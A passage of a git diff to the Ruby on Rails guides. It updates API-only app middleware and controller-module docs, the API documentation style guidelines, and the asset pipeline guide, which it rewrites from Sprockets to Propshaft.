+`use ActionDispatch::Session::CookieStore` and have sessions functioning as usual.  (To be clear: sessions
+may work, but your session options will be ignored - i.e. the session key will default to `_session_id`)
+
+Instead of the initializer, you'll have to set the relevant options somewhere before your middleware is
+built (like `config/application.rb`) and pass them to your preferred middleware, like this:
+
+```ruby
+# This also configures session_options for use below
+config.session_store :cookie_store, key: "_your_app_session"
+
+# Required for all session management (regardless of session_store)
+config.middleware.use ActionDispatch::Cookies
+
+config.middleware.use config.session_store, config.session_options
 ```
 
 ### Other Middleware
@@ -340,10 +464,6 @@ API application, especially if one of your API clients is the browser:
 - `Rack::MethodOverride`
 - `ActionDispatch::Cookies`
 - `ActionDispatch::Flash`
-- For session management
-    * `ActionDispatch::Session::CacheStore`
-    * `ActionDispatch::Session::CookieStore`
-    * `ActionDispatch::Session::MemCacheStore`
 
 Any of these middleware can be added via:
 
@@ -360,7 +480,7 @@ middleware set, you can remove it with:
 config.middleware.delete ::Rack::Sendfile
 ```
 
-Keep in mind that removing these middleware will remove support for certain
+Keep in mind that removing these middlewares will remove support for certain
 features in Action Controller.
 
 Choosing Controller Modules
@@ -369,37 +489,33 @@ Choosing Controller Modules
 An API application (using `ActionController::API`) comes with the following
 controller modules by default:
 
-- `ActionController::UrlFor`: Makes `url_for` and similar helpers available.
-- `ActionController::Redirecting`: Support for `redirect_to`.
-- `AbstractController::Rendering` and `ActionController::ApiRendering`: Basic support for rendering.
-- `ActionController::Renderers::All`: Support for `render :json` and friends.
-- `ActionController::ConditionalGet`: Support for `stale?`.
-- `ActionController::BasicImplicitRender`: Makes sure to return an empty response, if there isn't an explicit one.
-- `ActionController::StrongParameters`: Support for parameters white-listing in combination with Active Model mass assignment.
-- `ActionController::ForceSSL`: Support for `force_ssl`.
-- `ActionController::DataStreaming`: Support for `send_file` and `send_data`.
-- `AbstractController::Callbacks`: Support for `before_action` and
-  similar helpers.
-- `ActionController::Rescue`: Support for `rescue_from`.
-- `ActionController::Instrumentation`: Support for the instrumentation
-  hooks defined by Action Controller (see [the instrumentation
-  guide](active_support_instrumentation.html#action-controller) for
-more information regarding this).
-- `ActionController::ParamsWrapper`: Wraps the parameters hash into a nested hash, 
-  so that you don't have to specify root elements sending POST requests for instance.
+|   |   |
+|---|---|
+| `ActionController::UrlFor` | Makes `url_for` and similar helpers available. |
+| `ActionController::Redirecting` | Support for `redirect_to`. |
+| `AbstractController::Rendering` and `ActionController::ApiRendering` | Basic support for rendering. |
+| `ActionController::Renderers::All` | Support for `render :json` and friends. |
+| `ActionController::ConditionalGet` | Support for `stale?`. |
+| `ActionController::BasicImplicitRender` | Makes sure to return an empty response, if there isn't an explicit one. |
+| `ActionController::StrongParameters` | Support for parameters filtering in combination with Active Model mass assignment. |
+| `ActionController::DataStreaming` | Support for `send_file` and `send_data`. |
+| `AbstractController::Callbacks` | Support for `before_action` and similar helpers. |
+| `ActionController::Rescue` | Support for `rescue_from`. |
+| `ActionController::Instrumentation` | Support for the instrumentation hooks defined by Action Controller (see [the instrumentation guide](active_support_instrumentation.html#action-controller) for more information regarding this). |
+| `ActionController::ParamsWrapper` | Wraps the parameters hash into a nested hash, so that you don't have to specify root elements sending POST requests for instance.
+| `ActionController::Head` | Support for returning a response with no content, only headers. |
 
 Other plugins may add additional modules. You can get a list of all modules
 included into `ActionController::API` in the rails console:
 
-```bash
-$ bin/rails c
->> ActionController::API.ancestors - ActionController::Metal.ancestors
-=> [ActionController::API, 
-    ActiveRecord::Railties::ControllerRuntime, 
-    ActionDispatch::Routing::RouteSet::MountedHelpers, 
-    ActionController::ParamsWrapper, 
-    ... , 
-    AbstractController::Rendering, 
+```irb
+irb> ActionController::API.ancestors - ActionController::Metal.ancestors
+=> [ActionController::API,
+    ActiveRecord::Railties::ControllerRuntime,
+    ActionDispatch::Routing::RouteSet::MountedHelpers,
+    ActionController::ParamsWrapper,
+    ... ,
+    AbstractController::Rendering,
     ActionView::ViewPaths]
 ```
 
@@ -413,12 +529,25 @@ Some common modules you might want to add:
 
 - `AbstractController::Translation`: Support for the `l` and `t` localization
   and translation methods.
-- `ActionController::HttpAuthentication::Basic` (or `Digest` or `Token`): Support
-  for basic, digest or token HTTP authentication.
+- Support for basic, digest, or token HTTP authentication:
+  * `ActionController::HttpAuthentication::Basic::ControllerMethods`
+  * `ActionController::HttpAuthentication::Digest::ControllerMethods`
+  * `ActionController::HttpAuthentication::Token::ControllerMethods`
 - `ActionView::Layouts`: Support for layouts when rendering.
 - `ActionController::MimeResponds`: Support for `respond_to`.
 - `ActionController::Cookies`: Support for `cookies`, which includes
   support for signed and encrypted cookies. This requires the cookies middleware.
+- `ActionController::Caching`: Support view caching for the API controller. Please note
+  that you will need to manually specify the cache store inside the controller like this:
+
+    ```ruby
+    class ApplicationController < ActionController::API
+      include ::ActionController::Caching
+      self.cache_store = :mem_cache_store
+    end
+    ```
+
+    Rails does *not* pass this configuration automatically.
 
 The best place to add a module is in your `ApplicationController`, but you can
 also add modules to individual controllers.
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 34b9c0d2caba5..9d9602eb087a4 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 API Documentation Guidelines
 ============================
@@ -15,58 +15,146 @@ After reading this guide, you will know:
 RDoc
 ----
 
-The [Rails API documentation](http://api.rubyonrails.org) is generated with
-[RDoc](http://docs.seattlerb.org/rdoc/). To generate it, make sure you are
+The [Rails API documentation](https://api.rubyonrails.org) is generated with
+[RDoc](https://ruby.github.io/rdoc/). To generate it, make sure you are
 in the rails root directory, run `bundle install` and execute:
 
 ```bash
-  bundle exec rake rdoc
+$ bundle exec rake rdoc
 ```
 
-Resulting HTML files can be found in the ./doc/rdoc directory.
+Resulting HTML files can be found in the `./doc/rdoc` directory.
 
-Please consult the RDoc documentation for help with the
-[markup](http://docs.seattlerb.org/rdoc/RDoc/Markup.html),
-and also take into account these [additional
-directives](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html).
+NOTE: Please consult the [RDoc Markup Reference][] for help with the syntax.
+
+Links
+-----
+
+Rails API documentation are not meant to be viewed on GitHub and therefore links should use the [RDoc link markup][] markup relative to the current API.
+
+This is due to differences between GitHub Markdown and the generated RDoc that is published at [api.rubyonrails.org](https://api.rubyonrails.org) and [edgeapi.rubyonrails.org](https://edgeapi.rubyonrails.org).
+
+For example, we use `[link:classes/ActiveRecord/Base.html]` to create a link to the `ActiveRecord::Base` class generated by RDoc.
+
+This is preferred over absolute URLs such as `[https://api.rubyonrails.org/classes/ActiveRecord/Base.html]`, which would take the reader outside their current documentation version (e.g. edgeapi.rubyonrails.org).
+
+[RDoc Markup Reference]: https://ruby.github.io/rdoc/RDoc/MarkupReference.html
+[RDoc link markup]: https://ruby.github.io/rdoc/RDoc/MarkupReference.html#class-RDoc::MarkupReference-label-Links
 
 Wording
 -------
 
-Write simple, declarative sentences. Brevity is a plus: get to the point.
+Write simple, declarative sentences. Brevity is a plus. Get to the point.
+
+```ruby
+# BAD
+# Caching may interfere with being able to see the results
+# of code changes.
+
+# GOOD
+# Caching interferes with seeing the results of code changes.
+```
 
-Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
+Use present tense:
+
+```ruby
+# BAD
+# Returned a hash that...
+# Will return a hash that...
+# Return a hash that...
+
+# GOOD
+# Returns a hash that...
+```
 
 Start comments in upper case. Follow regular punctuation rules:
 
 ```ruby
+# BAD
+# declares an attribute reader backed by an internally-named
+# instance variable
+
+# GOOD
 # Declares an attribute reader backed by an internally-named
 # instance variable.
-def attr_internal_reader(*attrs)
-  ...
-end
 ```
 
 Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
 
-Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
+```ruby
+# BAD
+# Book.where('name = ?', "Where the Wild Things Are")
+# Book.where('year_published < ?', 50.years.ago)
 
-The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
+# GOOD
+# Book.where(name: "Where the Wild Things Are")
+# Book.where(year_published: ...50.years.ago)
+```
 
-Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
+Documentation has to be brief but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
 
-Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+### Naming
 
-Prefer wordings that avoid "you"s and "your"s. For example, instead of
+The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper names.
 
-```markdown
-If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+```ruby
+# GOOD
+# Active Record classes can be created by inheriting from
+# ActiveRecord::Base.
 ```
 
-use this style:
+When referencing a "Rails application", as opposed to an "engine" or "plugin", always use "application". Rails apps are not "services", unless specifically discussing about service-oriented architecture.
 
-```markdown
-If `return` is needed it is recommended to explicitly define a method.
+```ruby
+# BAD
+# Production services can report their status upstream.
+# Devise is a Rails authentication application.
+
+# GOOD
+# Production applications can report their status upstream.
+# Devise is a Rails authentication engine.
+```
+
+Spell software names correctly. When in doubt, please have a look at some authoritative source like their official documentation.
+
+```ruby
+# GOOD
+# Arel
+# ERB
+# Hotwire
+# HTML
+# JavaScript
+# minitest
+# MySQL
+# npm
+# PostgreSQL
+# RSpec
+```
+
+Use the article "an" for "SQL":
+
+```ruby
+# BAD
+# Creates a SQL statement.
+# Starts a SQLite database.
+
+# GOOD
+# Creates an SQL statement.
+# Starts an SQLite database.
+```
+
+### Pronouns
+
+Prefer wordings that avoid "you"s and "your"s.
+
+```ruby
+# BAD
+# If you need to use +return+ statements in your callbacks, it is
+# recommended that you explicitly define them as methods.
+
+# GOOD
+# If +return+ is needed, it is recommended to explicitly define a
+# method.
 ```
 
 That said, when using pronouns in reference to a hypothetical person, such as "a
@@ -79,15 +167,13 @@ used. Instead of:
 * his or hers... use theirs.
 * himself or herself... use themselves.
 
-English
--------
+### American English
 
-Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](https://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
 
-Oxford Comma
-------------
+### Oxford Comma
 
-Please use the [Oxford comma](http://en.wikipedia.org/wiki/Serial_comma)
+Please use the [Oxford comma](https://en.wikipedia.org/wiki/Serial_comma)
 ("red, white, and blue", instead of "red, white and blue").
 
 Example Code
@@ -95,7 +181,7 @@ Example Code
 
 Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
 
-Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
+For proper rendering, indent code by two spaces from the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
 
 Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
 
@@ -103,7 +189,7 @@ Short docs do not need an explicit "Examples" label to introduce snippets; they
 # Converts a collection of elements into a formatted string by
 # calling +to_s+ on all elements and joining them.
 #
-#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+#   Blog.all.to_fs # => "First PostSecond PostThird Post"
 ```
 
 On the other hand, big chunks of structured documentation may have a separate "Examples" section:
@@ -149,14 +235,47 @@ On the other hand, regular comments do not use an arrow:
 #   polymorphic_url(record)  # same as comment_url(record)
 ```
 
+### SQL
+
+When documenting SQL statements, the result should not have `=>` before the output.
+
+For example,
+
+```ruby
+#   User.where(name: 'Oscar').to_sql
+#   # SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
+```
+
+### IRB
+
+When documenting the behavior for IRB, Ruby's interactive REPL, always prefix commands with `irb>`. The output should be prefixed with `=>`.
+
+For example,
+
+```ruby
+# Find the customer with primary key (id) 10.
+#   irb> customer = Customer.find(10)
+#   # => #<Customer id: 10, first_name: "Ryan">
+```
+
+### Bash / Command-line
+
+For command-line examples, always prefix the command with `$`. The output doesn't have to be prefixed with anything.
+
+```ruby
+# Run the following command:
+#   $ bin/rails new zomg
+#   ...
+```
+
 Booleans
 --------
 
-In predicates and flags prefer documenting boolean semantics over exact values.
+For predicates and flags, prefer documenting boolean semantics over exact values.
 
 When "true" or "false" are used as defined in Ruby use regular font. The
 singletons `true` and `false` need fixed-width font. Please avoid terms like
-"truthy", Ruby defines what is true and false in the language, and thus those
+"truthy". Ruby defines what is true and false in the language, and thus those
 words have a technical meaning and need no substitutes.
 
 As a rule of thumb, do not document singletons unless absolutely necessary. That
@@ -166,8 +285,9 @@ in the implementation.
 
 For example:
 
-```markdown
-`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+```ruby
+# +config.action_mailer.perform_deliveries+ specifies whether mail
+# will actually be delivered and is true by default
 ```
 
 the user does not need to know which is the actual default value of the flag,
@@ -178,12 +298,11 @@ An example with a predicate:
 ```ruby
 # Returns true if the collection is empty.
 #
-# If the collection has been loaded
-# it is equivalent to <tt>collection.size.zero?</tt>. If the
-# collection has not been loaded, it is equivalent to
-# <tt>collection.exists?</tt>. If the collection has not already been
-# loaded and you are going to fetch the records anyway it is better to
-# check <tt>collection.length.zero?</tt>.
+# If the collection has been loaded it is equivalent to
+# +collection.size.zero?+. If the collection has not been loaded,
+# it is equivalent to +!collection.exists?+. If the collection has
+# not already been loaded and you are going to fetch the records
+# anyway, it is better to check +collection.length.zero?+.
 def empty?
   if loaded?
     size.zero?
@@ -194,18 +313,13 @@ end
 ```
 
 The API is careful not to commit to any particular value, the method has
-predicate semantics, that's enough.
+predicate semantics, which is sufficient.
 
 File Names
 ----------
 
 As a rule of thumb, use filenames relative to the application root:
-
-```
-config/routes.rb            # YES
-routes.rb                   # NO
-RAILS_ROOT/config/routes.rb # NO
-```
+`config/routes.rb` instead of `routes.rb` or `RAILS_ROOT/config/routes.rb`.
 
 Fonts
 -----
@@ -214,35 +328,38 @@ Fonts
 
 Use fixed-width fonts for:
 
-* Constants, in particular class and module names.
-* Method names.
-* Literals like `nil`, `false`, `true`, `self`.
-* Symbols.
-* Method parameters.
-* File names.
+* Constants, in particular class and module names
+* Method names
+* Literals like `nil`, `false`, `true`, `self`
+* Symbols
+* Method parameters
+* File names
+* HTML tags and attributes
+* CSS selectors, attributes and values
 
 ```ruby
 class Array
   # Calls +to_param+ on all its elements and joins the result with
   # slashes. This is used by +url_for+ in Action Pack.
   def to_param
-    collect { |e| e.to_param }.join '/'
+    collect { |e| e.to_param }.join "/"
   end
 end
 ```
 
 WARNING: Using `+...+` for fixed-width font only works with simple content like
-ordinary method names, symbols, paths (with forward slashes), etc. Please use
-`<tt>...</tt>` for everything else, notably class or module names with a
-namespace as in `<tt>ActiveRecord::Base</tt>`.
+ordinary classes, modules, method names, symbols, paths (with forward slashes),
+etc. Use `<tt>...</tt>` for everything else.
 
 You can quickly test the RDoc output with the following command:
 
-```
+```bash
 $ echo "+:to_param+" | rdoc --pipe
 # => <p><code>:to_param</code></p>
 ```
 
+For example, code with spaces or quotes should use the `<tt>...</tt>` form.
+
 ### Regular Font
 
 When "true" and "false" are English words rather than Ruby keywords use a regular font:
@@ -259,7 +376,7 @@ When "true" and "false" are English words rather than Ruby keywords use a regula
 # matter the context. Validations with # some <tt>:on</tt>
 # option will only run in the specified context.
 def valid?(context = nil)
-  ...
+  # ...
 end
 ```
 
@@ -272,26 +389,33 @@ In lists of options, parameters, etc. use a hyphen between the item and its desc
 # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
 ```
 
-The description starts in upper case and ends with a full stop-it's standard English.
+The description starts in upper case and ends with a full stop—it's standard English.
+
+An alternative approach, when you want to provide additional detail and examples is to use option section style.
+
+[`ActiveSupport::MessageEncryptor#encrypt_and_sign`][#encrypt_and_sign] is a great example of this.
+
+```ruby
+# ==== Options
+#
+# [+:expires_at+]
+#   The datetime at which the message expires. After this datetime,
+#   verification of the message will fail.
+#
+#     message = encryptor.encrypt_and_sign("hello", expires_at: Time.now.tomorrow)
+#     encryptor.decrypt_and_verify(message) # => "hello"
+#     # 24 hours later...
+#     encryptor.decrypt_and_verify(message) # => nil
+```
+
+[#encrypt_and_sign]: https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html#method-i-encrypt_and_sign
 
 Dynamically Generated Methods
 -----------------------------
 
 Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
 
-```ruby
-for severity in Severity.constants
-  class_eval <<-EOT, __FILE__, __LINE__
-    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
-      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
-    end                                                              # end
-                                                                     #
-    def #{severity.downcase}?                                        # def debug?
-      #{severity} >= @level                                          #   DEBUG >= @level
-    end                                                              # end
-  EOT
-end
-```
+[![(module|class)_eval(STRING) code comments](images/dynamic_method_class_eval.png)](images/dynamic_method_class_eval.png)
 
 If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
 
@@ -305,66 +429,63 @@ self.class_eval %{
     options = args.extract_options!
     ...
   end
-}
+}, __FILE__, __LINE__
 ```
 
 Method Visibility
 -----------------
 
-When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.
+When writing documentation for Rails, it's important to differentiate between
+the user-facing API and the internal API.
 
-Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API.
+Methods that are in Ruby's private scope are excluded from the user-facing API.
+However, some internal API methods must be in Ruby's public scope so that they
+can be called elsewhere in the framework. To exclude such methods from the
+user-facing API, use RDoc's `:nodoc:` directive.
 
-This means that there are methods in Rails with `public` visibility that aren't meant for user consumption.
-
-An example of this is `ActiveRecord::Core::ClassMethods#arel_table`:
+An example is `ActiveRecord::Core::ClassMethods#arel_table`:
 
 ```ruby
 module ActiveRecord::Core::ClassMethods
-  def arel_table #:nodoc:
+  def arel_table # :nodoc:
     # do some magic..
   end
 end
 ```
 
-If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.
-
-As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.
+Even though it is a public method, users should not rely on it. The name of this
+method may change, or the return value may change, or this method may be removed
+entirely. By marking it with `:nodoc:`, it is removed from the user-facing API
+documentation.
 
-A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly.
-
-If you come across an existing `:nodoc:` you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a pull request instead of the docrails project.
-
-A `:nodoc:` should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a `:nodoc:` by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails.
-
-To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.
+As a contributor, it's important to think about whether an API should be
+user-facing or internal. The Rails team is committed to not making breaking
+changes to the user-facing API without first going through a full deprecation
+cycle. Therefore, you should add `:nodoc:` to any internal methods or modules,
+unless they are already private. (Adding `:nodoc:` to a module or class
+indicates that all methods are internal API, and it should be removed from the
+user-facing API documentation.)
 
 Regarding the Rails Stack
 -------------------------
 
-When documenting parts of Rails API, it's important to remember all of the
-pieces that go into the Rails stack.
+When documenting parts of Rails' API, it's important to be mindful of the entire
+Rails stack. Behavior of the method or class you're documenting may change
+depending on context.
 
-This means that behavior may change depending on the scope or context of the
-method or class you're trying to document.
-
-In various places there is different behavior when you take the entire stack
-into account, one such example is
-`ActionView::Helpers::AssetTagHelper#image_tag`:
+One such example is `ActionView::Helpers::AssetTagHelper#image_tag`:
 
 ```ruby
 # image_tag("icon.png")
-#   # => <img alt="Icon" src="/assets/icon.png" />
+#   # => <img src="/assets/icon.png" />
 ```
 
-Although the default behavior for `#image_tag` is to always return
-`/images/icon.png`, we take into account the full Rails stack (including the
-Asset Pipeline) we may see the result seen above.
-
-We're only concerned with the behavior experienced when using the full default
-Rails stack.
+In isolation, `image_tag` would return `/images/icon.png`. However, when we take
+into account the full Rails stack, including the Asset Pipeline, we may see the
+above result.
 
-In this case, we want to document the behavior of the _framework_, and not just
-this specific method.
+We want to document the behavior of the _framework_, not just isolated methods.
+Our concern is the behavior that the user experiences when using the full
+default Rails stack.
 
 If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues).
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index 360de9a5845b0..932c227262a80 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -1,776 +1,538 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 The Asset Pipeline
 ==================
 
-This guide covers the asset pipeline.
+This guide explains how to handle essential asset management tasks.
 
 After reading this guide, you will know:
 
-* What the asset pipeline is and what it does.
-* How to properly organize your application assets.
-* The benefits of the asset pipeline.
-* How to add a pre-processor to the pipeline.
-* How to package assets with a gem.
+* What is an asset pipeline.
+* The main features of Propshaft, and how to set it up.
+* How to migrate from Sprockets to Propshaft.
+* How to use other libraries for more advanced asset management.
 
 --------------------------------------------------------------------------------
 
-What is the Asset Pipeline?
+What is an Asset Pipeline?
 ---------------------------
 
-The asset pipeline provides a framework to concatenate and minify or compress
-JavaScript and CSS assets. It also adds the ability to write these assets in
-other languages and pre-processors such as CoffeeScript, Sass and ERB.
-It allows assets in your application to be automatically combined with assets
-from other gems. For example, jquery-rails includes a copy of jquery.js
-and enables AJAX features in Rails.
-
-The asset pipeline is implemented by the
-[sprockets-rails](https://github.com/rails/sprockets-rails) gem,
-and is enabled by default. You can disable it while creating a new application by
-passing the `--skip-sprockets` option.
+The Rails Asset Pipeline is a library designed for organizing, caching, and
+serving static assets, such as JavaScript, CSS, and image files. It streamlines
+and optimizes the management of these assets to enhance the performance and
+maintainability of the application.
+
+The Rails Asset Pipeline is managed by
+[**Propshaft**](https://github.com/rails/propshaft). Propshaft is built for an
+era where transpilation, bundling and compression are less critical for basic
+applications, thanks to better browser support, faster networks and HTTP/2
+capabilities.
+
+Propshaft focuses on essential asset management tasks and leaves more complex
+tasks, such as JavaScript and CSS bundling and minification, to specialized
+tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and
+[`cssbundling-rails`](https://github.com/rails/cssbundling-rails), which can be
+added separately to your application. Propshaft focuses on
+[fingerprinting](#fingerprinting-versioning-with-digest-based-urls) and
+emphasizes generating digest-based URLs for assets, allowing browsers to cache
+them, thus minimizing the need for intricate compilation and bundling.
+
+The [Propshaft](https://github.com/rails/propshaft) gem is enabled by default in
+new applications. If, for some reason, you want to disable it during setup, you
+can use the `--skip-asset-pipeline` option:
 
 ```bash
-rails new appname --skip-sprockets
+$ rails new app_name --skip-asset-pipeline
 ```
 
-Rails automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
-gems to your Gemfile, which are used by Sprockets for asset compression:
+NOTE: Before Rails 8, the asset pipeline was powered by
+[Sprockets](https://github.com/rails/sprockets). You can read about the
+[Sprockets Asset
+Pipeline](https://guides.rubyonrails.org/v7.2/asset_pipeline.html) in previous
+versions of the Rails Guides. You can also explore the [evolution of asset
+management techniques](#evolution-of-asset-management-techniques) to see how the
+Rails Asset Pipeline has evolved over time.
 
-```ruby
-gem 'sass-rails'
-gem 'uglifier'
-gem 'coffee-rails'
-```
+Propshaft Features
+------------------
 
-Using the `--skip-sprockets` option will prevent Rails from adding
-them to your Gemfile, so if you later want to enable
-the asset pipeline you will have to add those gems to your Gemfile. Also,
-creating an application with the `--skip-sprockets` option will generate
-a slightly different `config/application.rb` file, with a require statement
-for the sprockets railtie that is commented-out. You will have to remove
-the comment operator on that line to later enable the asset pipeline:
+Propshaft expects that your assets are already in a browser-ready format—like
+plain CSS, JavaScript, or preprocessed images (like JPEGs or PNGs). Its job is
+to organize, version, and serve those assets efficiently. In this section, we’ll
+cover the main features of Propshaft and how they work.
+
+### Asset Load Order
+
+With Propshaft, you can control the loading order of dependent files by
+specifying each file explicitly and organizing them manually or ensuring they
+are included in the correct sequence within your HTML or layout files. This
+ensures that dependencies are managed and loaded without relying on automated
+dependency management tools. Below are some strategies for managing
+dependencies:
+
+1. Manually include assets in the correct order:
+
+    In your HTML layout (usually `application.html.erb` for Rails apps) you can
+    specify the exact order for loading CSS and JavaScript files by including
+    each file individually in a specific order. For example:
+
+    ```erb
+    <!-- application.html.erb -->
+    <head>
+     <%= stylesheet_link_tag "reset" %>
+     <%= stylesheet_link_tag "base" %>
+     <%= stylesheet_link_tag "main" %>
+    </head>
+    <body>
+     <%= javascript_include_tag "utilities" %>
+     <%= javascript_include_tag "main" %>
+    </body>
+    ```
+
+    This is important if, for instance, `main.js` relies on `utilities.js` to be
+    loaded first.
+
+2. Use Modules in JavaScript (ES6)
+
+    If you have dependencies within JavaScript files, ES6 modules can help. By
+    using import statements, you can explicitly control dependencies within
+    JavaScript code. Just make sure your JavaScript files are set up as modules
+    using `<script type="module">` in your HTML:
+
+    ```js
+    // main.js
+    import { initUtilities } from "./utilities.js";
+    import { setupFeature } from "./feature.js";
+
+    initUtilities();
+    setupFeature();
+    ```
+
+    Then in your layout:
+
+    ```html
+    <script type="module" src="main.js"></script>
+    ```
+
+    This way, you can manage dependencies within JavaScript files without
+    relying on Propshaft to understand them. By importing modules, you can
+    control the order in which files are loaded and ensure dependencies are met.
+
+3. Combine Files when necessary
+
+    If you have several JavaScript or CSS files that must always load together,
+    you can combine them into a single file. For example, you could create a
+    `combined.js` file that imports or copies code from other scripts. Then,
+    just include `combined.js` in your layout to avoid dealing with individual
+    file ordering. This can be useful for files that always load together, like
+    a set of utility functions or a group of styles for a specific component.
+    While this approach can work for small projects or simple use cases, it can
+    become tedious and error-prone for larger applications.
+
+4. Bundle your JavaScript or CSS using a bundler
+
+    If your project requires features like dependency chaining or CSS
+    pre-processing, you may want to consider [advanced asset
+    management](#advanced-asset-management) alongside Propshaft.
+
+    Tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails)
+    integrates [Bun](https://bun.sh/), [esbuild](https://esbuild.github.io/),
+    [rollup.js](https://rollupjs.org/), or [Webpack](https://webpack.js.org/)
+    into your Rails application, while
+    [`cssbundling-rails`](https://github.com/rails/cssbundling-rails) can be
+    used to process stylesheets that use [Tailwind
+    CSS](https://tailwindcss.com/), [Bootstrap](https://getbootstrap.com/),
+    [Bulma](https://bulma.io/), [PostCSS](https://postcss.org/), or [Dart
+    Sass](https://sass-lang.com/).
+
+    These tools complement Propshaft by handling the complex processing, while
+    Propshaft efficiently organizes and serves the final assets.
 
-```ruby
-# require "sprockets/railtie"
-```
+### Asset Organization
 
-To set asset compression methods, set the appropriate configuration options
-in `production.rb` - `config.assets.css_compressor` for your CSS and
-`config.assets.js_compressor` for your JavaScript:
+Propshaft organizes assets within the `app/assets` directory, which includes
+subdirectories like `images`, `javascripts`, and `stylesheets`. You can place
+your JavaScript, CSS, image files, and other assets into these directories, and
+Propshaft will manage them during the precompilation process.
+
+You can also specify additional asset paths for Propshaft to search by modifying
+`config.assets.paths` in your `config/initializers/assets.rb` file. For example:
 
 ```ruby
-config.assets.css_compressor = :yui
-config.assets.js_compressor = :uglifier
+# Add additional assets to the asset load path.
+Rails.application.config.assets.paths << Emoji.images_path
+```
+
+Propshaft will make all assets from the configured paths available for serving.
+During the precompilation process, Propshaft copies these assets into the
+`public/assets` directory, ensuring they are ready for production use.
+
+Assets can be [referenced through their logical
+paths](#digested-assets-in-views) using helpers like `asset_path`, `image_tag`,
+`javascript_include_tag`, and other asset helper tags. After running
+[assets:precompile in production](#production), these logical references are
+automatically converted into their fingerprinted paths using the
+[`.manifest.json` file](#manifest-files).
+
+It is possible to exclude certain directories from this process, you can read more
+about it in the [Fingerprinting
+section](#fingerprinting-versioning-with-digest-based-urls).
+
+### Fingerprinting: Versioning with digest-based URLs
+
+In Rails, asset versioning uses fingerprinting to add unique identifiers to
+asset filenames.
+
+Fingerprinting is a technique that makes the name of a file dependent on its
+content. A digest of the file's content is generated and appended to the
